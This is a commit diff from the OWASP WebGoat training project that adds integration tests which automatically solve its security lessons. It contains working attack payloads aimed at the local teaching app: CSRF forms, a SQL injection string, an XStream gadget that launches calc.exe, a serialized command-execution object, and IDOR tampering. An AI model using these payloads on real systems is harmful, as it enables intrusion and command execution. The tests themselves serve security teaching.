Refactoring (#1201)

* Some initial refactoring

* Make it one application

* Got it working

* Fix problem on Windows

* Move WebWolf

* Move first lesson

* Moved all lessons

* Fix pom.xml

* Fix tests

* Add option to initialize a lesson

This way we can create content for each user inside a lesson. The initialize method will be called when a new user is created or when a lesson reset happens

* Clean up pom.xml files

* Remove fetching labels based on language.

We only support English at the moment, all the lesson explanations are written in English which makes it very difficult to translate. If we only had labels it would make sense to support multiple languages

* Fix SonarLint issues

* And move it all to the main project

* Fix for documentation paths

* Fix pom warnings

* Remove PMD as it does not work

* Update release notes about refactoring

Update release notes about refactoring

Update release notes about refactoring

* Fix lesson template

* Update release notes

* Keep it in the same repo in Dockerhub

* Update documentation to show how the connection is obtained.

Resolves: #1180

* Rename all integration tests

* Remove command from Dockerfile

* Simplify GitHub actions

Currently, we use a separate actions for pull-requests and branch build.
This is now consolidated in one action.
The PR action triggers always, it now only trigger when the PR is
opened and not in draft.
Running all platforms on a branch build is a bit too much, it is better
 to only run all platforms when someone opens a PR.

* Remove duplicate entry from release notes

* Add explicit registry for base image

* Lesson scanner not working when fat jar

When running the fat jar we have to take into account we
are reading from the jar file and not the filesystem. In
this case you cannot use `getFile` for example.

* added info in README and fixed release docker

* changed base image and added ignore file

Co-authored-by: Zubcevic.com <rene@zubcevic.com>

src/it/java/org/owasp/webgoat/AccessControlIntegrationTest.java

@@ -0,0 +1,86 @@
+package org.owasp.webgoat;
+
+
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
+import org.apache.http.HttpStatus;
+import org.junit.jupiter.api.Test;
+
+import java.util.Map;
+
+class AccessControlIntegrationTest extends IntegrationTest {
+
+    @Test
+    void testLesson() {
+        startLesson("MissingFunctionAC", true);
+        assignment1();
+        assignment2();
+        assignment3();
+
+        checkResults("/access-control");
+    }
+
+    private void assignment3() {
+        //direct call should fail if user has not been created
+        RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .contentType(ContentType.JSON)
+                .get(url("/WebGoat/access-control/users-admin-fix"))
+                .then()
+                .statusCode(HttpStatus.SC_FORBIDDEN);
+
+        //create user
+        var userTemplate = """
+                {"username":"%s","password":"%s","admin": "true"}
+                """;
+        RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .contentType(ContentType.JSON)
+                .body(String.format(userTemplate, this.getUser(), this.getUser()))
+                .post(url("/WebGoat/access-control/users"))
+                .then()
+                .statusCode(HttpStatus.SC_OK);
+
+        //get the users
+        var userHash =
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .contentType(ContentType.JSON)
+                        .get(url("/WebGoat/access-control/users-admin-fix"))
+                        .then()
+                        .statusCode(200)
+                        .extract()
+                        .jsonPath()
+                        .get("find { it.username == \"Jerry\" }.userHash");
+
+        checkAssignment(url("/WebGoat/access-control/user-hash-fix"), Map.of("userHash", userHash), true);
+    }
+
+    private void assignment2() {
+        var userHash =
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .contentType(ContentType.JSON)
+                        .get(url("/WebGoat/access-control/users"))
+                        .then()
+                        .statusCode(200)
+                        .extract()
+                        .jsonPath()
+                        .get("find { it.username == \"Jerry\" }.userHash");
+
+        checkAssignment(url("/WebGoat/access-control/user-hash"), Map.of("userHash", userHash), true);
+    }
+
+    private void assignment1() {
+        var params = Map.of("hiddenMenu1", "Users", "hiddenMenu2", "Config");
+        checkAssignment(url("/WebGoat/access-control/hidden-menu"), params, true);
+    }
+}

src/it/java/org/owasp/webgoat/CSRFIntegrationTest.java

@@ -0,0 +1,259 @@
+package org.owasp.webgoat;
+
+
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
+import lombok.Data;
+import lombok.SneakyThrows;
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.DynamicTest;
+import org.junit.jupiter.api.TestFactory;
+import org.owasp.webgoat.container.lessons.Assignment;
+
+import java.io.IOException;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
+
+import static org.assertj.core.api.Assertions.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.DynamicTest.dynamicTest;
+
+public class CSRFIntegrationTest extends IntegrationTest {
+
+    private static final String trickHTML3 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
+            "<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n" +
+            "<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n" +
+            "</form></body></html>";
+
+    private static final String trickHTML4 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
+            "<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n" +
+            "<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n" +
+            "<input type=\"hidden\" name=\"validateReq\" value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n" +
+            "<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n" +
+            "</form>\n" +
+            "</body></html>";
+
+    private static final String trickHTML7 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain' method=\"POST\">\n" +
+            "<input type=\"hidden\" name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!' value='\"}' />\n" +
+            "<input type=\"submit\" value=\"assignment 7\"/>\n" +
+            "</form></body></html>";
+
+    private static final String trickHTML8 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
+            "<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n" +
+            "<input type=\"hidden\" name=\"password\" value=\"password\"/>\n" +
+            "<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n" +
+            "<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n" +
+            "<input type=\"submit\" value=\"assignment 8\"/>\n" +
+            "</form></body></html>";
+
+    private String webwolfFileDir;
+
+    @BeforeEach
+    @SneakyThrows
+    public void init() {
+        startLesson("CSRF");
+        webwolfFileDir = getWebWolfFileServerLocation();
+        uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("/csrf/basic-get-flag")));
+        uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("/csrf/review")));
+        uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("/csrf/feedback/message")));
+        uploadTrickHtml("csrf8.html", trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", this.getUser()));
+    }
+
+    @TestFactory
+    Iterable<DynamicTest> testCSRFLesson() {
+        return Arrays.asList(
+                dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
+                dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
+                dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
+                dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html")))
+        );
+    }
+
+    @AfterEach
+    public void shutdown() throws IOException {
+        //logout();
+        login();//because old cookie got replaced and invalidated
+        startLesson("CSRF", false);
+        checkResults("/csrf");
+    }
+
+    private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException {
+
+        //remove any left over html
+        Path webWolfFilePath = Paths.get(webwolfFileDir);
+        if (webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)).toFile().exists()) {
+            Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)));
+        }
+
+        //upload trick html
+        RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("WEBWOLFSESSION", getWebWolfCookie())
+                .multiPart("file", htmlName, htmlContent.getBytes())
+                .post(webWolfUrl("/WebWolf/fileupload"))
+                .then()
+                .extract().response().getBody().asString();
+    }
+
+    private String callTrickHtml(String htmlName) {
+        String result = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .cookie("WEBWOLFSESSION", getWebWolfCookie())
+                .get(webWolfUrl("/files/" + this.getUser() + "/" + htmlName))
+                .then()
+                .extract().response().getBody().asString();
+        result = result.substring(8 + result.indexOf("action=\""));
+        result = result.substring(0, result.indexOf("\""));
+
+        return result;
+    }
+
+    private void checkAssignment3(String goatURL) {
+        String flag = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .header("Referer", webWolfUrl("/files/fake.html"))
+                .post(goatURL)
+                .then()
+                .extract().path("flag").toString();
+
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("confirmFlagVal", flag);
+        checkAssignment(url("/WebGoat/csrf/confirm-flag-1"), params, true);
+    }
+
+    private void checkAssignment4(String goatURL) {
+
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("reviewText", "test review");
+        params.put("stars", "5");
+        params.put("validateReq", "2aa14227b9a13d0bede0388a7fba9aa9");//always the same token is the weakness
+
+        boolean result = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .header("Referer", webWolfUrl("/files/fake.html"))
+                .formParams(params)
+                .post(goatURL)
+                .then()
+                .extract().path("lessonCompleted");
+        assertEquals(true, result);
+
+    }
+
+    private void checkAssignment7(String goatURL) {
+        Map<String, Object> params = new HashMap<>();
+        params.put("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!", "\"}");
+
+        String flag = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .header("Referer", webWolfUrl("/files/fake.html"))
+                .contentType(ContentType.TEXT)
+                .body("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!" + "=\"}")
+                .post(goatURL)
+                .then()
+                .extract().asString();
+        flag = flag.substring(9 + flag.indexOf("flag is:"));
+        flag = flag.substring(0, flag.indexOf("\""));
+
+        params.clear();
+        params.put("confirmFlagVal", flag);
+        checkAssignment(url("/WebGoat/csrf/feedback"), params, true);
+
+    }
+
+    private void checkAssignment8(String goatURL) {
+
+        //first make sure there is an attack csrf- user
+        registerCSRFUser();
+
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("username", "csrf-" + this.getUser());
+        params.put("password", "password");
+
+        //login and get the new cookie
+        String newCookie = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .header("Referer", webWolfUrl("/files/fake.html"))
+                .params(params)
+                .post(goatURL)
+                .then()
+                .extract().cookie("JSESSIONID");
+
+        //select the lesson
+        RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", newCookie)
+                .get(url("CSRF.lesson.lesson"))
+                .then()
+                .statusCode(200);
+
+        //click on the assignment
+        boolean result = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", newCookie)
+                .post(url("/csrf/login"))
+                .then()
+                .statusCode(200)
+                .extract().path("lessonCompleted");
+
+        assertThat(result).isTrue();
+
+        login();
+        startLesson("CSRF", false);
+
+        Overview[] assignments = RestAssured.given()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .get(url("/service/lessonoverview.mvc"))
+                .then()
+                .extract()
+                .jsonPath()
+                .getObject("$", Overview[].class);
+//		assertThat(assignments)
+//                .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
+//                .extracting(o -> o.solved)
+//                .containsExactly(true);
+    }
+
+    @Data
+    private static class Overview {
+        Assignment assignment;
+        boolean solved;
+    }
+
+    /**
+     * Try to register the new user. Ignore the result.
+     */
+    private void registerCSRFUser() {
+
+        RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .formParam("username", "csrf-" + this.getUser())
+                .formParam("password", "password")
+                .formParam("matchingPassword", "password")
+                .formParam("agree", "agree")
+                .post(url("register.mvc"));
+
+    }
+
+}

src/it/java/org/owasp/webgoat/ChallengeIntegrationTest.java

@@ -0,0 +1,112 @@
+package org.owasp.webgoat;
+
+
+import io.restassured.RestAssured;
+import org.junit.jupiter.api.Test;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+
+public class ChallengeIntegrationTest extends IntegrationTest {
+
+    @Test
+    public void testChallenge1() {
+        startLesson("Challenge1");
+
+        byte[] resultBytes =
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .get(url("/WebGoat/challenge/logo"))
+                        .then()
+                        .statusCode(200)
+                        .extract().asByteArray();
+
+        String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220));
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("username", "admin");
+        params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode));
+
+
+        checkAssignment(url("/WebGoat/challenge/1"), params, true);
+        String result =
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .formParams(params)
+                        .post(url("/WebGoat/challenge/1"))
+                        .then()
+                        .statusCode(200)
+                        .extract().asString();
+
+        String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
+        params.clear();
+        params.put("flag", flag);
+        checkAssignment(url("/WebGoat/challenge/flag"), params, true);
+
+
+        checkResults("/challenge/1");
+
+        List<String> capturefFlags =
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .get(url("/WebGoat/scoreboard-data"))
+                        .then()
+                        .statusCode(200)
+                        .extract().jsonPath()
+                        .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
+        assertTrue(capturefFlags.contains("Admin lost password"));
+    }
+
+    @Test
+    public void testChallenge5() {
+        startLesson("Challenge5");
+
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("username_login", "Larry");
+        params.put("password_login", "1' or '1'='1");
+
+        String result =
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .formParams(params)
+                        .post(url("/WebGoat/challenge/5"))
+                        .then()
+                        .statusCode(200)
+                        .extract().asString();
+
+        String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
+        params.clear();
+        params.put("flag", flag);
+        checkAssignment(url("/WebGoat/challenge/flag"), params, true);
+
+
+        checkResults("/challenge/5");
+
+        List<String> capturefFlags =
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .get(url("/WebGoat/scoreboard-data"))
+                        .then()
+                        .statusCode(200)
+                        .extract().jsonPath()
+                        .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
+        assertTrue(capturefFlags.contains("Without password"));
+    }
+
+}

src/it/java/org/owasp/webgoat/CryptoIntegrationTest.java

@@ -0,0 +1,134 @@
+package org.owasp.webgoat;
+
+import static org.junit.jupiter.api.Assertions.fail;
+
+import java.nio.charset.Charset;
+import java.security.NoSuchAlgorithmException;
+import java.security.PrivateKey;
+import java.security.interfaces.RSAPrivateKey;
+import java.security.spec.InvalidKeySpecException;
+import java.util.Base64;
+import java.util.HashMap;
+import java.util.Map;
+
+import javax.xml.bind.DatatypeConverter;
+
+import org.junit.jupiter.api.Test;
+import org.owasp.webgoat.lessons.cryptography.CryptoUtil;
+import org.owasp.webgoat.lessons.cryptography.HashingAssignment;
+
+import io.restassured.RestAssured;
+
+public class CryptoIntegrationTest extends IntegrationTest {
+
+	@Test
+	public void runTests() {
+		startLesson("Cryptography");
+
+		checkAssignment2();
+		checkAssignment3();
+
+		// Assignment 4
+		try {
+			checkAssignment4();
+		} catch (NoSuchAlgorithmException e) {
+			e.printStackTrace();
+			fail();
+		}
+
+		try {
+			checkAssignmentSigning();
+		} catch (Exception e) {
+			e.printStackTrace();
+			fail();
+		}
+		
+		checkAssignmentDefaults();
+
+		checkResults("/crypto");
+
+	}
+
+	private void checkAssignment2() {
+
+		String basicEncoding = RestAssured.given().when().relaxedHTTPSValidation()
+				.cookie("JSESSIONID", getWebGoatCookie()).get(url("/crypto/encoding/basic")).then().extract()
+				.asString();
+		basicEncoding = basicEncoding.substring("Authorization: Basic ".length());
+		String decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes()));
+		String answer_user = decodedString.split(":")[0];
+		String answer_pwd = decodedString.split(":")[1];
+		Map<String, Object> params = new HashMap<>();
+		params.clear();
+		params.put("answer_user", answer_user);
+		params.put("answer_pwd", answer_pwd);
+		checkAssignment(url("/crypto/encoding/basic-auth"), params, true);
+	}
+
+	private void checkAssignment3() {
+		String answer_1 = "databasepassword";
+		Map<String, Object> params = new HashMap<>();
+		params.clear();
+		params.put("answer_pwd1", answer_1);
+		checkAssignment(url("/crypto/encoding/xor"), params, true);
+	}
+
+	private void checkAssignment4() throws NoSuchAlgorithmException {
+
+		String md5Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
+				.get(url("/crypto/hashing/md5")).then().extract().asString();
+
+		String sha256Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
+				.get(url("/crypto/hashing/sha256")).then().extract().asString();
+
+		String answer_1 = "unknown";
+		String answer_2 = "unknown";
+		for (String secret : HashingAssignment.SECRETS) {
+			if (md5Hash.equals(HashingAssignment.getHash(secret, "MD5"))) {
+				answer_1 = secret;
+			}
+			if (sha256Hash.equals(HashingAssignment.getHash(secret, "SHA-256"))) {
+				answer_2 = secret;
+			}
+		}
+
+		Map<String, Object> params = new HashMap<>();
+		params.clear();
+		params.put("answer_pwd1", answer_1);
+		params.put("answer_pwd2", answer_2);
+		checkAssignment(url("/WebGoat/crypto/hashing"), params, true);
+	}
+
+	private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException {
+    	
+    	String privatePEM = RestAssured.given()
+            	.when()
+            	.relaxedHTTPSValidation()
+            	.cookie("JSESSIONID", getWebGoatCookie())
+            	.get(url("/crypto/signing/getprivate"))
+            	.then()
+				.extract().asString();
+		PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM);
+
+		RSAPrivateKey privk = (RSAPrivateKey) privateKey;
+		String modulus = DatatypeConverter.printHexBinary(privk.getModulus().toByteArray());
+    	String signature = CryptoUtil.signMessage(modulus, privateKey);
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("modulus", modulus);
+        params.put("signature", signature);
+        checkAssignment(url("/crypto/signing/verify"), params, true);
+    }
+	
+	private void checkAssignmentDefaults() {
+    	
+    	String text = new String(Base64.getDecoder().decode("TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl".getBytes(Charset.forName("UTF-8"))));
+
+		Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("secretText", text);
+        params.put("secretFileName", "default_secret");
+        checkAssignment(url("/crypto/secure/defaults"), params, true);
+    }
+    
+}

src/it/java/org/owasp/webgoat/DeserializationIntegrationTest.java

@@ -0,0 +1,34 @@
+package org.owasp.webgoat;
+
+import org.dummy.insecure.framework.VulnerableTaskHolder;
+import org.junit.jupiter.api.Test;
+import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
+
+import java.io.IOException;
+import java.util.HashMap;
+import java.util.Map;
+
+public class DeserializationIntegrationTest extends IntegrationTest {
+
+    private static String OS = System.getProperty("os.name").toLowerCase();
+
+    @Test
+    public void runTests() throws IOException {
+        startLesson("InsecureDeserialization");
+
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+
+        if (OS.indexOf("win") > -1) {
+            params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
+        } else {
+            params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
+        }
+        checkAssignment(url("/WebGoat/InsecureDeserialization/task"), params, true);
+
+        checkResults("/InsecureDeserialization/");
+
+    }
+
+
+}

src/it/java/org/owasp/webgoat/GeneralLessonIntegrationTest.java

@@ -0,0 +1,186 @@
+package org.owasp.webgoat;
+
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
+import org.hamcrest.CoreMatchers;
+import org.hamcrest.MatcherAssert;
+import org.junit.jupiter.api.Test;
+
+import java.util.HashMap;
+import java.util.Map;
+
+
+public class GeneralLessonIntegrationTest extends IntegrationTest {
+
+    @Test
+    public void httpBasics() {
+        startLesson("HttpBasics");
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("person", "goatuser");
+        checkAssignment(url("HttpBasics/attack1"), params, true);
+
+        params.clear();
+        params.put("answer", "POST");
+        params.put("magic_answer", "33");
+        params.put("magic_num", "4");
+        checkAssignment(url("HttpBasics/attack2"), params, false);
+
+        params.clear();
+        params.put("answer", "POST");
+        params.put("magic_answer", "33");
+        params.put("magic_num", "33");
+        checkAssignment(url("HttpBasics/attack2"), params, true);
+
+        checkResults("/HttpBasics/");
+    }
+
+    @Test
+    public void httpProxies() {
+        startLesson("HttpProxies");
+        MatcherAssert.assertThat(RestAssured.given()
+                .when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()).header("x-request-intercepted", "true")
+                .contentType(ContentType.JSON)
+                .get(url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
+                .then()
+                .statusCode(200).extract().path("lessonCompleted"), CoreMatchers.is(true));
+
+        checkResults("/HttpProxies/");
+    }
+
+    @Test
+    public void cia() {
+        startLesson("CIA");
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("question_0_solution", "Solution 3: By stealing a database where names and emails are stored and uploading it to a website.");
+        params.put("question_1_solution", "Solution 1: By changing the names and emails of one or more users stored in a database.");
+        params.put("question_2_solution", "Solution 4: By launching a denial of service attack on the servers.");
+        params.put("question_3_solution", "Solution 2: The systems security is compromised even if only one goal is harmed.");
+        checkAssignment(url("/WebGoat/cia/quiz"), params, true);
+        checkResults("/cia/");
+
+    }
+    
+    @Test
+    public void vulnerableComponents() {
+    	String solution = "<contact class='dynamic-proxy'>\n" + 
+    			"<interface>org.owasp.webgoat.lessons.vulnerable_components.Contact</interface>\n" +
+    			"  <handler class='java.beans.EventHandler'>\n" + 
+    			"    <target class='java.lang.ProcessBuilder'>\n" + 
+    			"      <command>\n" + 
+    			"        <string>calc.exe</string>\n" + 
+    			"      </command>\n" + 
+    			"    </target>\n" + 
+    			"    <action>start</action>\n" + 
+    			"  </handler>\n" + 
+    			"</contact>";
+    	startLesson("VulnerableComponents");
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("payload", solution);
+        checkAssignment(url("/WebGoat/VulnerableComponents/attack1"), params, true);
+        checkResults("/VulnerableComponents/");
+    }
+    
+    @Test
+    public void insecureLogin() {
+    	startLesson("InsecureLogin");
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("username", "CaptainJack");
+        params.put("password", "BlackPearl");
+        checkAssignment(url("/WebGoat/InsecureLogin/task"), params, true);
+        checkResults("/InsecureLogin/");
+    }
+
+    @Test
+    public void securePasswords() {
+        startLesson("SecurePasswords");
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("password", "ajnaeliclm^&&@kjn.");
+        checkAssignment(url("/WebGoat/SecurePasswords/assignment"), params, true);
+        checkResults("SecurePasswords/");
+
+        startLesson("AuthBypass");
+        params.clear();
+        params.put("secQuestion2", "John");
+        params.put("secQuestion3", "Main");
+        params.put("jsEnabled", "1");
+        params.put("verifyMethod", "SEC_QUESTIONS");
+        params.put("userId", "12309746");
+        checkAssignment(url("/WebGoat/auth-bypass/verify-account"), params, true);
+        checkResults("/auth-bypass/");
+
+        startLesson("HttpProxies");
+        MatcherAssert.assertThat(RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()).header("x-request-intercepted", "true")
+                .contentType(ContentType.JSON)
+                .get(url("/WebGoat/HttpProxies/intercept-request?changeMe=Requests are tampered easily")).then()
+                .statusCode(200).extract().path("lessonCompleted"), CoreMatchers.is(true));
+        checkResults("/HttpProxies/");
+    }
+
+    @Test
+    public void chrome() {
+        startLesson("ChromeDevTools");
+
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("param1", "42");
+        params.put("param2", "24");
+
+        String result =
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .header("webgoat-requested-by", "dom-xss-vuln")
+                        .header("X-Requested-With", "XMLHttpRequest")
+                        .formParams(params)
+                        .post(url("/WebGoat/CrossSiteScripting/phone-home-xss"))
+                        .then()
+                        .statusCode(200)
+                        .extract().path("output");
+        String secretNumber = result.substring("phoneHome Response is ".length());
+
+        params.clear();
+        params.put("successMessage", secretNumber);
+        checkAssignment(url("/WebGoat/ChromeDevTools/dummy"), params, true);
+
+        params.clear();
+        params.put("number", "24");
+        params.put("network_num", "24");
+        checkAssignment(url("/WebGoat/ChromeDevTools/network"), params, true);
+
+        checkResults("/ChromeDevTools/");
+    }
+    
+    @Test
+    public void authByPass() {
+        startLesson("AuthBypass");
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("secQuestion2", "John");
+        params.put("secQuestion3", "Main");
+        params.put("jsEnabled", "1");
+        params.put("verifyMethod", "SEC_QUESTIONS");
+        params.put("userId", "12309746");
+        checkAssignment(url("/auth-bypass/verify-account"), params, true);
+        checkResults("/auth-bypass/");
+
+    }
+    
+    @Test
+    public void lessonTemplate() {
+    	startLesson("LessonTemplate");
+    	Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("param1", "secr37Value");
+        params.put("param2", "Main");
+        checkAssignment(url("/lesson-template/sample-attack"), params, true);
+        checkResults("/lesson-template/");
+    	
+    }
+    
+}

src/it/java/org/owasp/webgoat/IDORIntegrationTest.java

@@ -0,0 +1,98 @@
+package org.owasp.webgoat;
+
+
+import static org.junit.jupiter.api.DynamicTest.dynamicTest;
+
+import java.io.IOException;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
+
+import org.hamcrest.CoreMatchers;
+import org.hamcrest.MatcherAssert;
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.DynamicTest;
+import org.junit.jupiter.api.TestFactory;
+
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
+import lombok.SneakyThrows;
+
+public class IDORIntegrationTest extends IntegrationTest {
+	
+	@BeforeEach
+    @SneakyThrows
+    public void init() {
+    	startLesson("IDOR");        
+    }
+
+    @TestFactory
+    Iterable<DynamicTest> testIDORLesson() {
+    	return Arrays.asList(
+    			dynamicTest("login",()-> loginIDOR()),
+    			dynamicTest("profile", () -> profile())
+    			);
+    }
+	
+    @AfterEach
+    public void shutdown() throws IOException {
+        checkResults("/IDOR");        
+    }
+    
+    private void loginIDOR() throws IOException {
+    	
+    	Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("username", "tom");
+        params.put("password", "cat");
+       
+    	
+        checkAssignment(url("/WebGoat/IDOR/login"), params, true);
+        	
+    }
+    
+    private void profile() {
+    	MatcherAssert.assertThat(
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .get(url("/WebGoat/IDOR/profile"))
+                        .then()
+                        .statusCode(200)
+                        .extract().path("userId"), CoreMatchers.is("2342384"));
+    	Map<String, Object> params = new HashMap<>();
+    	params.clear();
+        params.put("attributes", "userId,role");
+        checkAssignment(url("/WebGoat/IDOR/diff-attributes"), params, true);
+        params.clear();
+        params.put("url", "WebGoat/IDOR/profile/2342384");
+        checkAssignment(url("/WebGoat/IDOR/profile/alt-path"), params, true);
+        
+        MatcherAssert.assertThat(
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .get(url("/WebGoat/IDOR/profile/2342388"))
+                        .then()
+                        .statusCode(200)
+                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
+        
+        MatcherAssert.assertThat(
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())    
+                        .contentType(ContentType.JSON) //part of the lesson
+                        .body("{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\", \"userId\":\"2342388\"}")
+                        .put(url("/WebGoat/IDOR/profile/2342388"))
+                        .then()
+                        .statusCode(200)
+                        .extract().path("lessonCompleted"), CoreMatchers.is(true));       
+        
+        
+    }
+    
+}

src/it/java/org/owasp/webgoat/IntegrationTest.java

@@ -0,0 +1,231 @@
+package org.owasp.webgoat;
+
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
+import lombok.Getter;
+import org.hamcrest.CoreMatchers;
+import org.hamcrest.MatcherAssert;
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+
+import java.util.Map;
+import java.util.Objects;
+
+import static io.restassured.RestAssured.given;
+
+public abstract class IntegrationTest {
